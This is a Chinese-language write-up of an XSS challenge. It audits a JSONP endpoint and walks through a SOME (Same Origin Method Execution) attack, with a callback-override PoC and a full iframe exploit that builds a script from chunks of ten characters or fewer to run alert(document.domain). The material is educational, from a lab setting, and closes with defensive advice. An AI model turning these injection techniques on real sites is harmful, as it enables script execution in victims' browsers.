一道xss题学习SOME攻击
字数 1565 2025-08-19 12:41:11
SOME攻击实现XSS漏洞利用教学文档
1. 漏洞背景
这道XSS题目要求执行alert(document.domain),但存在一些限制条件。通过分析,我们可以使用SOME(Same Origin Method Execution)攻击来实现目标。
2. 代码审计分析
2.1 index.html关键代码
var callback = function(msg) {
result.innerHTML = msg;
}
document.addEventListener('DOMContentLoaded', function(event) {
if(getQuery('code')) {
var code = getQuery('code');
c.value = code;
checkCode(code);
}
});
form.addEventListener('submit', function(event) {
checkCode(c.value);
event.preventDefault();
});
function checkCode(code) {
var s = document.createElement('script');
s.src = `/xss_2020-06/check_code.php?callback=callback&code=${encodeURI(code)}`;
document.body.appendChild(s);
}
function getQuery(name) {
return new URL(location.href).searchParams.get(name);
}
关键点:
- 两种触发方式:URL中的code参数或表单提交
checkCode函数使用encodeURI对code参数进行编码- 创建script标签加载JSONP端点
2.2 check_code.php关键代码
<?php
$callback = "callback";
if(isset($_GET['callback'])) {
$callback = preg_replace("/[^a-z0-9.]+/i", "", $_GET['callback']);
}
$key = "";
if(isset($_GET['code'])) {
$key = $_GET['code'];
}
if(mb_strlen($key, "UTF-8") <= 10) {
if($key == "XSS_ME") {
$result = "Okay! You can access <a href='#not-implemented'>the secret page</a>!";
} else {
$result = "Invalid code: '$key'";
}
} else {
$result = "Invalid code: too long";
}
$json = json_encode($result, JSON_HEX_TAG);
header('X-XSS-Protection: 0');
header('X-Content-Type-Options: nosniff');
header('Content-Type: text/javascript; charset=utf-8');
print "$callback($json)";
限制条件:
- callback参数过滤:只允许字母数字和点号
[^a-z0-9.]+ - code参数长度限制:不超过10个字符
- 返回结果中固定包含"Invalid code: "字符串
3. 漏洞利用原理
3.1 基本利用思路
encodeURI不会编码&字符,可以在code参数中注入&callback=alert来覆盖原有callback值- 服务器会使用参数的最后一次出现值,因此可以覆盖callback参数
3.2 简单PoC
表单提交:
1&callback=alert
URL参数:
?code=1%26callback=alert
3.3 复杂利用挑战
由于需要执行alert(document.domain)且code参数长度限制为10个字符,直接执行不可行,需要使用SOME攻击。
4. SOME攻击实现
4.1 SOME攻击概念
Same Origin Method Execution (SOME)是一种利用同源策略的漏洞,允许攻击者在目标网站上执行任意JavaScript方法。
4.2 攻击步骤
- 使用iframe确保同源
- 通过多个iframe和相同来源的跨iframe操作
- 将payload包含到iframe框架的DOM中
- 使用
document.write逐步构建payload - 使用注释符处理多余的"Invalid code: "字符串
4.3 完整利用代码
<iframe src="https://vulnerabledoma.in/xss_2020-06/" name="x" onload="go()"></iframe>
<iframe src="https://vulnerabledoma.in/xss_2020-06/" name="y" id="m"></iframe>
<iframe src="https://vulnerabledoma.in/xss_2020-06/" name="alert(document.domain)"></iframe>
<script>
function loadIframe(payload){
return new Promise(resolve => {
m.src = `https://vulnerabledoma.in/xss_2020-06/?code=${payload}%26callback=top.x.document.write`;
m.onload = function(){
return resolve(this);
}
});
}
async function go(){
await loadIframe("<script>/*");
await loadIframe("*/eval(/*");
await loadIframe("*/top[2]/*");
await loadIframe("*/.name)//");
await loadIframe("<\/script>");
}
</script>
4.4 代码解析
-
创建三个iframe:
- 第一个iframe(name="x")用于执行主逻辑
- 第二个iframe(id="m")用于发送payload
- 第三个iframe(name="alert(document.domain)")存储要执行的代码
-
loadIframe函数:- 通过修改iframe的src属性发送payload
- 使用
%26callback=top.x.document.write覆盖callback参数 - 返回Promise确保顺序执行
-
go函数:- 分步发送payload,每步不超过10字符限制
- 使用注释符
/* */处理多余字符串 - 最终组合成
<script>eval(top[2].name)</script>执行第三个iframe的name属性
5. 关键技巧总结
- 参数覆盖:利用
encodeURI不编码&的特性覆盖callback参数 - 分块传输:将长payload分成多个不超过10字符的片段
- 注释技巧:使用
/* */注释掉多余的"Invalid code: "字符串 - 跨iframe通信:利用同源iframe间的
top对象访问 - 异步控制:使用Promise确保payload按顺序执行
- DOM操作:通过
document.write动态写入脚本
6. 防御建议
- 对callback参数进行更严格的过滤
- 限制JSONP端点的使用,或使用CORS替代
- 对所有用户输入进行严格编码
- 实现CSRF令牌保护表单
- 使用Content Security Policy (CSP)限制脚本执行
通过这种SOME攻击方法,我们成功绕过了长度限制和字符过滤,最终实现了alert(document.domain)的执行。